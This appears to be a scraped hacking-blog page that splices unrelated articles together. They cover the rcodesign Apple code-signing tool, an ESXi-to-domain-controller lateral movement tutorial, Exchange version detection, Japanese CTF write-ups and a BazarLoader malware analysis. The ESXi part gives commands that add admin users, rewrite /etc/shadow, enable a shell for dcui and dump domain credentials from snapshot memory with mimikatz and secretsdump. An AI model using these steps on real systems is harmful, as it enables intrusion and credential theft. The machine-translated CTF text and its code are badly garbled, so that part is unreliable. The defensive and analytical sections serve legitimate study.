Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113800

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

蘋果系統運行著一些現有的最大和最賺錢的軟件應用程序生態系統。理論上,要進入這些生態系統,傳統上需要使用macOS,並加入蘋果開發者計劃(Apple Developer Program)。

如果你想為Apple 操作系統開發應用程序,你可能會使用Apple 的操作系統和Apple 的官方工具進行開發和分發。但對於開源開發人員通常希望以最小的努力分發跨平台應用程序。在整個編程語言生態系統中,你運行的操作系統被抽象為許多應用程序的實現細節。通過創建macOS、iOS 等開發需要直接訪問macOS 和通常高於市場價格的Apple 硬件的要求,蘋果軟件生態系統強加的分發要求是有效的排他性,並阻止利益相關方對進入其生態系統。

在蘋果平台上發佈軟件的一個問題是代碼簽署和公證,即你需要:

1.在應用程序中嵌入加密簽名,有效地證明來自Apple Developer Program 關聯帳戶的真實性。 (這是簽名。)

2.將你的應用程序上傳到Apple,以便他們對其進行檢查,驗證它符合要求,可能還會存儲一個副本。然後,蘋果會發布自己的加密簽名,即公證書,然後需要將其嵌入到正在分發的應用程序上,這樣蘋果的操作系統才能信任它。 (這是公證。)

從歷史上看,這些步驟需要Apple 專有軟件專門從macOS 運行。這意味著,即使你在Rust、Go 等軟件生態系統或Web 平台中,你可以在不直接訪問macOS 的情況下交叉編譯應用程序(測試顯然是另一回事),如果你願意,你仍然需要macOS簽署和公證你的申請。由於默認的安全設置,在macOS上需要有效的簽名和公證。在iOS 等移動平台上,除非你運行的是越獄設備,否則不可能發布未經簽名和公證的應用程序。

如果我不需要macOS來構建我的應用程序,為什麼我要被迫把蘋果設備作為我的軟件發布過程的一部分?為什麼在發布的時候,我必須簽署和公證我的申請,它不能更簡化嗎?

如果能重新實現Apple 代碼簽名,以便開發人員有更多的靈活性和機會將應用程序分發到Apple 的生態系統。其最終目標是擴大Apple 生態系統對更多開發者的訪問。

首先,得益於rcodesign 0.14.0的發布。這是我第一次發布rcodesign 的預構建二進製文件(Linux、Windows 和macOS)。

macOS rcodesign 可執行文件是自簽名的,它由GitHub Actions Linux 運行程序使用YubiKey 獨有的代碼簽名證書進行簽名。

2021年,apple-codesign 項目/Rust crate 發生了很大變化!只需查看更改日誌!

這個項目從tugger-apple-codesign改名而來。

如果你是通過cargo install 安裝的,你需要cargo install --force apple-codesign 來強制Cargo 用另一個crate 中的一個來覆蓋rcodesign 可執行文件。

rcodesign CLI可執行文件仍然存在,而且比以往任何時候都更強大。你仍然可以在Linux、Windows、macOS和任何其他平台上對Apple應用程序進行簽名,你可以在這些平台上編譯Rust程序。

Sphinx 文檔請點擊這裡,這與PyOxidizer 的文檔一起發佈在readthedocs.io 上(因為我使用的是monorepo)。那裡有一些通用文檔,例如有關如何通過將你自己的替代代碼簽名PKI 部署到並行Apple 來選擇性地繞過Gatekeeper 的指南。

支持簽名包、DMG 和.pkg 安裝程序當我去年宣布這個項目時,只有Mach-O 二進製文件和非常簡單的.app 包是可簽名的。即便如此,也有很多微妙的問題。

Rcodesign sign現在可以對更複雜的包進行簽名,包括許多嵌套的包。有報導稱iOS應用包簽名正確。

該工具還支持簽名.dmg磁盤映像文件和.pkg扁平封裝包安裝程序。

已知的簽名限制現在記錄在Sphinx 文檔中。

我相信rcodesign 現在支持對用於Apple 軟件分發的所有主要文件格式進行簽名。

支持Linux、Windows 和macOS 上的公證

蘋果發布了一個名為Transporter的Java工具,可以讓你上傳文物到蘋果進行公證。它們使這個工具可用於Linux、Windows,當然還有macOS。

雖然這個工具不是開源的,但使用這個工具可以讓你在Linux 和Windows 上進行公證,同時仍然使用Apple 的官方工具與他們的服務器通信。

rcodesign 現在支持調用Transporter 並將工件上傳到Apple 進行公證。我們現在支持公證包、dmg 磁盤映像和.pkg 扁平封裝安裝程序包。我已經成功地從Linux 公證了所有這些應用程序類型。

由於支持對所有應用程序類型進行簽名和公證,現在可以在沒有macOS 參與發布過程的情況下發布Apple 軟件。

YubiKey 集成我嘗試盡可能多地使用我的YubiKey,因為存儲在YubiKey 上的密鑰或私鑰可能比位於某個文件系統上的密鑰或私鑰更安全。如果你破解了我的設備,你很可能會獲得我的私鑰。但是你需要物理訪問我的YubiKey 並強迫或強迫我解鎖它,以獲得訪問其私鑰的權限。

rcodesign 現在支持使用YubiKeys 進行簽名操作。

這確實需要默認的智能卡Cargo 功能。因此,如果手動構建,你將需要例如cargo install --features smartcard apple-codesign.

YubiKey 集成來自yubikey 。這個crate 將直接與macOS 和Windows 中內置的智能卡API 對話。所以如果你有一個啟用了YubiKey 支持的rcodesign 構建,YubiKeys 應該可以工作。通過插入YubiKey 並運行rcodesign smartcard-scan 進行嘗試。

YubiKey 集成文檔可以點此查看。

我甚至實現了一些命令來輕鬆管理YubiKey 上的代碼簽名證書。例如,你可以直接在設備上運行rcodesign smartcard-generate-key --smartcard-slot 9c 以生成新的私鑰,然後rcodesign generate-certificate-signing-request --smartcard-slot 9c --csr-pem-path csr.pem將該證書導出到證書籤名請求(CSR),你可以在developer.apple.com 上交換Applie 頒發的簽名證書。這意味著你可以輕鬆創建其私鑰直接在硬件設備上生成且永遠無法導出的代碼簽名證書。以這種方式生成密鑰比將密鑰存儲在軟件庫(比如蘋果的Keychains)中更安全。

遠程代碼簽名我最感興趣的功能是我稱之為遠程代碼簽名的功能。

我在GitHub託管的Linux GitHub Actions運行程序上簽署了一個macOS通用Mach-O可執行文件,使用的YubiKey物理連接到我桌子旁邊的Windows 11設備上。未在計算機之間複製簽名的應用程序。

我有一個調用rcodesign sign --remote-signer 的GitHub Actions 工作流程。我手動觸發了該工作流程,並開始使用瀏覽器觀察近乎實時的作業輸出。 rcodesign sign --remote-signer 打印出一些指令(包括一堵base64 編碼數據的牆)以指示下一步該做什麼。重要的是,它要求其他人運行rcodesign remote-sign 以繼續簽名過程。

該日誌向我們展示了使用YubiKey 進行連接和身份驗證,以及一些關於與遠程服務器對話的狀態更新。

遠程簽名使我能夠從GitHub 運營的GitHub Actions 運行程序簽署macOS 應用程序,同時使用安全存儲在我的YubiKey 上的代碼簽名證書,該證書插入到距GitHub Actions 運行程序數百公里的Windows 設備上。

這裡發生的是2 個rcodesign 進程通過中央中繼服務器橋接的websocket 相互通信。我免費操作一個默認服務器。服務器是開源的,如果你想運行你自己的服務器,你可以使用terrform模塊,希望只需要花幾分鐘時間。當啟動設備希望創建簽名時,它向請求加密簽名的簽名者發送一條消息。然後將簽名發送回發起者,發起者將其合併。

我設計這個特性時考慮到了CI系統的自動發布(比如GitHub Actions)。我想要一種方法,可以簡化應用程序的代碼簽名和發布過程,而不必給CI中的低信任設備無限訪問我的私人簽名密鑰的權限。這可能在許多其他場景中都是有用的。你是否曾經因為沒有蘋果發行的代碼簽名證書而通過電子郵件或下拉框將應用程序發送給別人簽名?現在你有了一個不需要復製文件的替代解決方案。只要你可以看到啟動設備的日誌輸出,或者將輸出傳遞給你(例如通過聊天應用程序或電子郵件),你就可以在另一台設備上遠程簽署文件!

關於遠程簽名安全性Websockets 通過由第三方操作的中央服務器?授予遠程設備訪問權限以對任意內容執行代碼簽名?你的恐懼和懷疑是100% 有道理的:我也會這麼想!

促進遠程代碼簽名的服務會成為一個非常有利可圖的攻擊目標,如果被濫用,它可能被用來強制使用有效的代碼簽名證書的各方簽署不想要的代碼,如惡意軟件。實現這樣的功能有很多很多很多錯誤的方法。

遠程代碼簽名設計和安全注意事項包含了我的一些高級設計目標和安全評估。遠程代碼簽名協議詳細介紹了通信協議,包括所涉及的加密(實際的加密,而不是流行的加密)。關鍵在於協議和服務器的設計使惡意服務器或中間人無法偽造簽名請求。簽名會話在幾分鐘後過期,第三方或服務器無法注入會導致不需要簽名的惡意消息。通過初始握手獲得會話臨時共享加密密鑰,並從那裡使用對稱加密密鑰,因此對等方之間的所有有意義的消息都是端到端加密的。惡意服務器可以做的最糟糕的事情就是進行拒絕服務。

我相信我的遠程簽名實現比許多常見做法更安全,因為今天的常見做法需要復制私鑰並讓低信任度設備(如CI 工作人員)訪問私鑰或者文件在沒有加密監管鏈的情況下被複製以證明不會被篡改。是的,遠程簽名為遠程訪問引入了使用簽名密鑰的向量。但是按照我的意圖進行實踐,遠程簽名可以消除複製私鑰或授予對它們的無限訪問權限的需要。從威脅建模的角度來看,我認為密鑰訪問中的網絡限制使得遠程簽名比現在許多人使用的私鑰管理實踐更安全。

話雖如此,這裡的星號是我實現了我自己的密碼系統來實現端到端消息安全。如果在設計或實現中存在漏洞,密碼系統可能會崩潰,從而帶來對消息偽造的防禦。屆時,惡意服務器或特權網絡攻擊者可能會強迫某人簽署不需要的軟件。但這很可能是損害的程度:對簽名密鑰的脫機攻擊是不可能的,因為簽名需要存在,而且私鑰永遠不會通過網絡傳輸。即使沒有端到端加密,該系統也比將你的私有密鑰作為一個容易被竊取的CI秘密(或類似的)留在周圍更安全。

Apple 鑰匙串支持從0.14 版本開始,我們現在可以提前支持使用存儲在Apple 鑰匙串中的代碼簽名證書進行簽名!如果你在Keychain Access 或Xcode 中創建了Apple 代碼簽名證書,那麼這可能就是你的代碼簽名證書所在的位置。

我拖延了很長一段時間,因為我沒有意識到這有什麼好處:如果你使用macOS,只需使用蘋果的官方工具。但是隨著rcodesign獲得了對遠程代碼簽名的支持,以及其他一些功能,這些功能可以讓它成為所有平台上蘋果工具的有力替代品,我認為我們應該提供這個功能,這樣我們就不會再阻止人們從keychain導出私鑰了。

Apple 的代碼簽名很複雜。 蘋果的工具和rcodesign之間很容易出現細微差別。

rcodesign 現在有print-signature-info 和diff-signatures 命令來轉儲和比較與代碼簽名相關的YAML 元數據,以便更容易地比較代碼簽名實現甚至多個簽名操作之間的行為。

0x00 前言假定以下測試環境:我們獲得了內網VMware ESXI的控制權限,發現VMware ESXI上安裝了Windows域控服務器。

本文僅在技術研究的角度介紹從VMware ESXI橫向移動到該Windows域控服務器的方法,結合利用思路,給出防禦檢測的方法。

0x02 簡介本文將要介紹以下內容:

马云惹不起马云利用思路

马云惹不起马云常用命令

马云惹不起马云 實現方法

0x03 利用思路通過VMware ESXI管理虛擬機,創建快照文件,從快照文件中提取出有價值的信息。

0x04 常用命令1.查看虛擬機版本vmware-vl2.用戶信息相關(1)查看所有用戶

esxclisystemaccountlist(2)查看管理員用戶

esxclisystempermissionlist(3)添加用戶

esxclisystemaccountadd-itest1-pPassword@1-cPassword@1(4)將普通用戶添加成管理員用戶

esxclisystempermissionset-itest1-rAdmin(5)啟用內置管理員賬戶

默認配置下,dcui是管理員用戶,但是不允許遠程登錄,可以通過修改配置文件的方式設置dcui用戶的口令並啟用遠程登錄。

設置dcui用戶口令為Ballot5Twist7upset,依次輸入:

passwddcui

Ballot5Twist7upset

Ballot5Twist7upset一鍵設置dcui用戶口令:sed -i 's/dcui:\*:13358:0:99999:7:/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:/g' /etc/shadow

啟用dcui用戶遠程登錄:

修改文件/etc/passwd,將dcui:x:100:100:DCUI User:/:/sbin/nologin修改為dcui:x:100:100:DCUI User:/:/bin/sh

一鍵啟用dcui用戶遠程登錄:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

開啟ssh:

vim-cmdhostsvc/enable_ssh3.虛擬機相關(1)查看所有虛擬機

image.png

(2)查看指定虛擬機的狀態

image.png

(3)開啟指定虛擬機,可用於開機和從掛起狀態恢復

image.png

(4)掛起指定虛擬機

image.png

(5)關閉指定虛擬機

image.png

(6)查看指定虛擬機的操作日誌

image.png

4.虛擬機快照相關

(1)查看指定虛擬機的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

includeMemory 設置為true,表示包括內存,否則無法生成.vmem文件。

示例2:

image.png

這個命令等價於vim-cmd vmsvc/snapshot.create 1 test '' false false,不包括內存,不會生成.vmem文件。

(3)刪除快照

image.png

0x05 實現方法1.獲得虛擬機的vmid image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的vmid為1

2.查看虛擬機的快照信息image.png

測試環境下沒有虛擬機快照。

3.為虛擬機創建快照image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的snapshotIndex為1

4.使用volatility分析快照文件volatility是一款開源的取證分析軟件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令語法不同,功能基本相同,最新版本為volatility3,但這裡選擇volatility,理由如下:

马云惹不起马云 volatility有獨立的可執行程序,volatility3需要自己編譯

马云惹不起马云volatility3有mimikatz插件,可以從lsass進程提取數據,volatility3不支持這個插件

(1)定位鏡像文件

搜索後綴名為vmem的文件,命令如下:

image.png

測試環境下,獲得鏡像文件位置為./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上傳volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下載地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作為參數,而.vmem文件通常很大,為了提高效率,這裡選擇將volatility上傳至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看鏡像信息

通過鏡像信息獲得系統版本,命令如下:

image.png測試環境下,獲得Profile為Win2016x64_14393

(4)從註冊表獲得本地用戶hash

命令如下:

image.png

測試環境下,輸出結果:

image.png

(5)從註冊表讀取LSA Secrets

命令如下:

image.png

測試環境下,輸出結果:

image.png

(6)導出所有域用戶hash

需要下載ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

輸出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,導出所有域用戶hash可以使用secretsdump,命令為:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加載mimikatz插件,讀取lsass進程中保存的憑據

volatility_2.6_lin64_standalone不支持加載mimikatz插件,這裡可以選擇將整個快照文件(DC1-Snapshot1.vmem)下載至本地,搭建volatility環境,加載mimikatz插件。

kali安裝volatility的方法:

1. 安裝image.png

2. 測試volatility image.png

3. 添加mimikatz插件下載地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

將mimikatz.py保存至

4.安裝mimikatz插件的依賴image.png

這裡不能直接使用pip2 install construct,construct版本過高會導致在加載mimikatz.py時報錯AttributeError: 'module' object has no attribute 'ULInt32'

5.測試插件image.png

輸出:

image.png

安裝成功。

加載mimikatz插件的命令如下:

image.png

輸出結果:

image.png

補充:

讀取lsass進程中保存的憑據還可以使用以下方法:

1. 將鏡像文件轉成Crash Dump文件

image.png2. 使用Mimilib從dump文件中導出口令

詳細方法可參考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.刪除快照

image.png

0x06 防禦檢測1. 防禦內網VMware ESXI及時更新補丁

關閉內網VMware ESXI的ssh登錄功能

2. 檢測查看內網VMware ESXI登錄日誌

查看虛擬機快照鏡像標誌snapshotIndex是否異常,對於新的虛擬機,新建快照標誌snapshotIndex從1開始累加,刪除快照鏡像不會影響snapshotIndex,例如刪除snapshotIndex為1的快照,再次創建快照時snapshotIndex為2`

0x07 小結本文在技術研究的角度介紹了從VMware ESXI橫向移動到該Windows域控服務器的方法,使用volatility分析鏡像文件,提取關鍵信息,結合利用思路,給出防禦檢測的方法。

0x00 前言在上篇文章《渗透基础——Exchange版本探测和漏洞检测》 介紹了通過Python進行版本探測的兩種方法,在版本識別上,首先從官網獲得已知的版本信息,將版本信息存儲在列表中,然後通過字符串匹配的方式獲得Exchange版本的詳細信息。開源的代碼Exchange_GetVersion_MatchVul.py反饋很好。但是這個方法存在一個缺點:需要定期訪問官網,手動更新掃描腳本中的版本信息列表。

為了進一步提高效率,本文介紹另外一種實現方法,通過訪問官網,從返回數據中直接提取出詳細的版本信息,優點是不再需要定期更新腳本。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云通過BeautifulSoup解析網頁數據

马云惹不起马云實現細節

马云惹不起马云 開源代碼

0x02 通過BeautifulSoup解析網頁數據BeautifulSoup是一個可以從HTML或XML文件中提取數據的Python庫,可以提高開發效率。

安裝:

image.png

1.基本使用在Python實現上,需要先通過requests庫獲取網頁內容,再調用BeautifulSoup進行解析。

測試代碼:

image.png

以上代碼將會訪問https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁數據交由BeautifulSoup進行優化並顯示。

執行代碼的部分輸出結果示例:

image.png

對於以上結果,每個'tr'節點對應一個版本信息,子節點'td'為具體的版本細節。

2.只篩選出'tr'節點的內容測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,嘗試去除無效數據。

3.提取出版本信息測試代碼:

image.png

執行代碼的部分輸出結果示例:

image.png

接下來,可以嘗試對精確版本進行匹配。

4.精確匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

對於Exchange較老的版本,無法獲得準確的版本號,所以還需要實現粗略匹配版本的功能。

5.粗略匹配版本測試代碼:

image.png

執行代碼的輸出結果示例:

image.png

6.提取出網頁數據時間為了能夠準確獲得版本信息,這裡還需要提取出網頁數據的更新時間。

標記網頁數據時間的位置:

image.png

定位該時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

提取出時間的代碼:

image.png

執行代碼的輸出結果示例:

image.png

結合以上信息,我們可以寫出新的識別Exchange版本的代碼,通過從官網讀取數據信息來獲得準確的版本,考慮自動化判斷多個目標的情況下,為了避免多次訪問網站讀取數據信息,在代碼結構上做了適當優化,只需訪問一次https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019,將網頁結果保存在變量中。代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromWebsite.py

考慮到內網無法訪問官網的情況,實現了一個從本地解析網頁文件來獲得準確的版本,代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetVersion_ParseFromFile.py

可以先訪問官網並將網頁內容保存為exchange.data,再執行腳本Exchange_GetVersion_ParseFromFile.py即可

0x03 小結本文介紹了在Exchange版本識別上的優化方法,可以不必手動更新掃描腳本中的版本信息列表,開源代碼Exchange_GetVersion_ParseFromWebsite.py和Exchange_GetVersion_ParseFromFile.py

1。ミス

1。ホットポットチェーン観光チェックイン

開いた後、ウォレットを接続し、クリックしてゲームを開始し、質問に8回回答した後、NFTをクリックします。旗のある写真については何も言うことはありません。知識Q&Aの質問

v020kxwgqme580.png

NFTを引き換えます

tegum4x2vmy582.png

フラグ{y0u_ar3_hotpot_k1ng}

2.軌跡図

メソッド1:PyのNumpyおよびPandasライブラリを使用してNPZファイルを読み取り、CSVファイルとして保存します。コードは次のとおりです。npiportpandasとしてpdnp.set_printoptions(threshold=np.inf)a1=np.load( 'attachment.npz'、approw_pickle=true)print(a1.files)print( 'read:' '、a1)index=a1 [' index '' indec 'ind a1 [' index '' index '' indecl a1 ['output'] mytra=a1 ['trace']#print(mytra.shape)df=pd.dataframe(mytra)df.to_csv( 'data1.csv'、index=false)df1=pd.dataframe({'index''3360index、'入力': myin})df1.to_csv( 'data2.csv'、index=false)data1.csv、data2.csvを取得し、data.csvを取得するためにマージします。 data.csvをオープンすると、消費電力データが表示されます。 https://zhuanlan.zhihu.com/p/157585244によると、この質問の鍵は、インデックスの正しいパスワードである他の文字とは異なる文字を見つけることだと思います。これに基づいて、図に示すように4番目の文字などのExcelのラインチャート関数を使用して、在这里插入图片描述に、他の線とは異なる緑の線があることがわかります。

順番に繰り返してキー全体を取得します:_ciscn_2024_

つまり、フラグ:フラグ{_ciscn_2024_}

方法2:テストコード:Numpyをnpimportlib matplotlib.pyplotとしてpltmatplotlib.useとしてインポートします( 'tkagg')data=np.load( './attach.npz')print(data.files)aa=data [data.files [0]] bb=data [1 data [data [data [data] dd] data [data.files [3]] print(len(aa)、aa)print(len(bb)、bb)print(len(cc)、cc)print(len(dd)、dd)for i in reng(len(dd)): plt.scapter([i for i for i in dd [i])、DD NPZファイルからの4つのファイルの。出力は空です。他の3つのファイルの配列長はすべて520です。インデックスによると、各40を取得できます。合計で13の平文があるとほぼ判断しています。1049983-20241004225425375-1250230147.pngInputはテーブルです。1049983-20241004225426348-2102281765.pngOutputは空です。トレースのデータはすべて小数です。1049983-20241004225427236-1767167632.pngトレースのデータにドットプロットを描画してみてください:1049983-20241004225428016-911719087.pngデータの各セットの最大値に多くのポイントがあることを発見しました。

npdata=np.load( './attachment.npz')dd=date [data.files [3]] for i in range(len(dd)): min_index=np.argmin(dd [i])print(f'minimum index(f'minimum index for Group {i} 3360 {ver all_index '') '') 985、他のデータには他の異なる数値があります。1049983-20241004225429043-1156571575.png 40個のデータグループの最小値の添え字を使用して、グラフ分析を再度描画します。最大値は1つしかないことがわかったため、最大値の添え字を見つけ続け、入力テーブルから対応する文字を取得する必要があります:1049983-20241004225430234-1674052168.pngExp:

npimportmatplotlib.pyplotとしてnumpyをpltf=np.load( './attach.npz')index=f ['index'] ip=f ['input'] tr=f ['trace'] for _ in _ in _ in range(13): t=[] for _ for _ for _ in範囲(40):#各リストの散布図を描画し、最小値#plt.scatter([i for i for i in ren(tr [_*40+i])]]、tr [_*40+i])#plt.show() T.Append(min)#40リストの最小値の添え字をデータとして使用し、画像を描画し、範囲のIに最大値があることを見つけます(len(t)): plt.scatter([i for i for i in ren(t))]、np.array(t))plt.show()テーブルからind=table [mins]#flag +=indprint(flag)に文字を追加

GET:_CISCN_2024_A前のグループの最後のデータセットはすべて985であるため、最後のデータセットから取得されたAはAとしてカウントされません。最終フラグが取得されます:フラグ{_ciscn_2024_}

3。神秘的なファイル

メソッド1:究極の人形はぼやけており、実際にそれを探しています。 PPTファイルを取得し、接尾辞を.zipに変更して、DocPropsディレクトリの2つのXMLでPART1を見つけます。 app.xmlは、復号化アルゴリズムをプロンプトします。Core.xmlは、ciphertextとキーキーをプロンプトします。Cyberimageに移動します。 PPTから開くと、第2章の左上隅にある黒いピースです。ダブルクリックし、開いた後にすべてを選択し、色を変更し、色を変更し、Caesar Offset 10を復号化してからPART2 image imagePART3を取得します。私は本当にこれを長い間検索しました。その後、オンラインで検索したところ、PPTステガノグラフィは、VBAプロジェクト復号化と呼ばれるマクロとマクロスクリプトに関連している可能性があることがわかりました。最初にvbaproject.binを開いて、dpbバイトを見つけ、最後のビットをxに変更し、サフィックスを.zipに保存し、直接開き、含意のファイルを見つけます。 VBAフォルダーでモジュール1を開きます。image。暗号文を見つけました。それが何であるかはわかりませんが、プロンプトはBase64の後です。次に、最初にそれを復号化してから、文字化けしたコードを取得します。一般的に、特殊文字はよりRC4または腐敗しています。最後に、パスワードなしで復号化されていることがわかりました。次に、base64のレイヤーで復号化します。imagePART4は、PPTを直接開きます(メディアフォルダの写真で構成されているため)。 3番目の写真は、目に見える隠された文字を選択することです。私のコンピューターはデフォルトで自動的にそれを選択するため、直接表示できます。 base64デコードimagePART5は、第5章PPTのコメントにあります。直接サイバーシェフハットラン、マルチレイヤーベース64デコード、5番目のパートimagePART6は、5番目のPPTテキストの境界の左上隅にあります。メディアフォルダーをスケーリングまたは直接分解することができます。 base64デコードimagePART7は、PPT \スライドの下でSlides4.xmlにあり、ID4の位置を以下に促します。 rot13すべて、数字を含むことを意味します、base64デコードimage

PART8はナンピングのSlidelayout2.xmlにあります。最初はそれが何を意味するのか理解できませんでした。接続した後にのみ理解しました。つまり、上記の文字列からBB13を削除するためです。次に、base64デコードimage imagePART9メディアフォルダで直接、猫の男の写真の左下隅を見てください。

バージニア州コメント1.xmlのパート10は、デコードされています。キーは毛皮のようなimageです

要するに、最後のフラグはフラグです{e675EFB3-346F-405F-90DD-2222222B387EDEE9}メソッド2:最初に、いくつかのシンプルで簡単に見つけることができます。 Base64、バージニア州、シーザーなどをデコードするための迅速なルールに従ってください。PPTでは多くのことを見つけることができます:1049983-20241004225442421-920104914.png 1049983-20241004225443402-1060950235.png 1049983-20241004225444338-1660903503.png ZIPサフィックスを変更すると、世界ドキュメント:010-6926 1049983-20241004225446022-1338623161.pngで見つけます1049983-20241004225446869-378067329.png写真:1049983-20241004225447784-2112391753.png合計で、PART23360675EFBPAYT4:606F-40PART53:5F-90DPART6:D-2PART933333333333333333333333333333333333333333333333333333333333333333333333331049983-20241004225448650-1890017793.pngバイナリファイルi13pomdzeazhfy4dgs+vua==ここにbase64+rc4+base64 1049983-20241004225449476-43250540.png Get Part33:3-34pptファイル属性:010-695552 Ciphertext:qfpppppppppppppppq6zzmzzzzmmmmm32 bifldkey:lanjing;1049983-20241004225450869-712111176.png PART1:FLAGを取得{EPPTマスター:1049983-20241004225451627-339244211.png BB13を削除し、Base64 1049983-20241004225452517-437982105.png PART8336087E Select Pane:1049983-20241004225454299-719789787.png=1049983-20241004225454299-719789787.png最終フラグを取得するためのスプライシング:flag {e675EFB3-346F-405F-90DD-2222222222B387EDEE9}最後にシンボルのフラグを見つけます表imagebase64デコードしてフラグを取得するためにflag imageメソッド2:binwalkを使用してzlibファイルを分離し、コードは次のとおりです。 Open(input_fileName、 'rb')as compressed_file: compressed_data=compressed_file.read()decompressed_data=zlib.decompress(compressed_data)with open(output_filename、 'wb')as output_file.write.='35 .zlib'output_file='decompressed_data.txt'decompress_zlib_file(input_file、output_file)winhexを使用してdecompressed_data.txtを開いて、base64の後にエンコードされたフラグを見ることができます。在这里插入图片描述フラグを取得するためのデコード:

我會在本文介紹這個加載程序的最後進程,它能夠下載和執行遠程有效負載,例如CobaltStrike和Conti勒索軟件。 BazarLoader是基於Windows的惡意軟件,主要通過電子郵件等方式傳播。

第1步:檢查系統語言與許多惡意軟件類似,BAZARLOADER會手動檢查系統的語言以避免在其母國開展惡意攻擊。

它調用GetSystemDefaultLangID來檢索系統的默認語言,並調用GetKeyboardLayoutList來遍歷系統的鍵盤佈局。

1.png

對於每一種語言,惡意軟件都會使用位掩碼檢查其是否有效。

如果語言標識符大於0x43或小於0x18,則將其視為有效,這樣BAZARLOADER才會繼續執行。

如果它在0x18和0x43之間的範圍內,語言標識符和0x18之間的差異被用作位掩碼中要檢查的位的索引。

BAZARLOADER使用的位掩碼是0xD8080190C03,即二進制的11011000000010000000000110010000110000000011。如果語言ID為0x18,則檢查位掩碼中的第一位。如果語言ID為0x19,則檢查第二位,依此類推……

2.png

以下是惡意軟件避免的位掩碼中所有語言的列表。

3.png

第2步:互斥對象為了檢查自身的多個運行實例,BAZARLOADER首先從其進程中提取SID的子權限。它通過調用GetTokenInformation來檢索進程的令牌完整性級別並調用GetSidSubAuthorityCount和GetSidSubAuthority來訪問SID的子權限來實現這一點。

4.png

如果SID的子權限是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER通過調用CreateMutexA檢查互斥鎖“{b837ef4f-10ee-4821-ac76-2331eb32a23f}”當前是否由任何其他進程擁有。

如果是,惡意軟件會自行終止。但是,檢查互斥對像是否存在的條件存在一個小錯誤,它假定它在實際成功時無法打開互斥對象。

5-.png

此後,惡意軟件解析字符串“{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}”並嘗試使用該名稱創建互斥鎖。

6-.png

如果這個互斥對像已經存在,惡意軟件也會自行終止。

如果SID的子權限不是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER仍然使用這兩個互斥對象名稱,但在它們前面添加字符串“Global\”。這將檢查全局命名空間中的互斥鎖,而不是每個會話命名空間,這允許惡意軟件檢查它是否有在其他用戶的會話中運行的實例。

第3步:生成隨機Internet流量為了生成Internet活動以隱藏其與C2服務程序的通信,BAZARLOADER首先調用InternetOpenA以使用以下字符串作為HTTP用戶代理來初始化WinINet函數的使用。

5.png

然後,惡意軟件會生成一個線程以定期連接到隨機URL,並利用以下結構生成噪音以隱藏主要的C2流量。

6.png

首先,BAZARLOADER調用InitializeCriticalSection來初始化結構的臨界區對象,該對象稍後用於保護對creation_flag字段的訪問。

接下來,它設置self字段指向結構,creation_flag字段為TRUE,並調用CreateThread生成一個線程來執行這些隨機Internet操作。如果創建線程失敗,creation_flag字段設置為FALSE。

線程首先嘗試獲取臨界區對象的所有權並檢查是否啟用了創建標誌。如果是,惡意軟件會將以下URL解析為堆棧字符串。

7.png

接下來,線程進入一個無限循環,開始產生通訊噪音。對於隨機數生成,BAZARLOADER使用不同的函數調用Windows API BCryptGenRandom來生成一組隨機字節。

它隨機選擇上面列出的4個URL之一,隨機生成URL路徑段,然後將兩者結合起來構建完整的URL。

8.png

在生成路徑段時,該函數取生成的路徑段的最小和最大數量,以及每個路徑段的最小和最大長度。

它在給定範圍內隨機生成路徑段的計數。對於每個段,惡意軟件隨機生成一個字符串,該字符串在給定範圍內具有隨機長度,其中包含數字和大寫/小寫字母。

9.png

最後,惡意軟件調用InternetOpenURLA與生成的URL建立連接。它使用HTTP_QUERY_CONTENT_LENGTH標誌調用HTTPQueryInfoA以檢索內容的長度,分配具有該大小的緩衝區,並調用InternetReadFile從該URL讀取數據。

10.png

這會重複進行,直到C2通信和有效負載注入完成,這會產生大量噪音來掩蓋進出C2服務程序的主要流量。

第4步:密碼結構集群BAZARLOADER主要使用以下結構與C2服務程序進行通信。我們將在分析代碼時解釋結構的字段。

8-.png

首先,它填充主結構中的crypto_struct字段。此結構包含稍後用於解密從C2服務程序發送的可執行文件的加密句柄。

結構可以重構如下:

9-.png

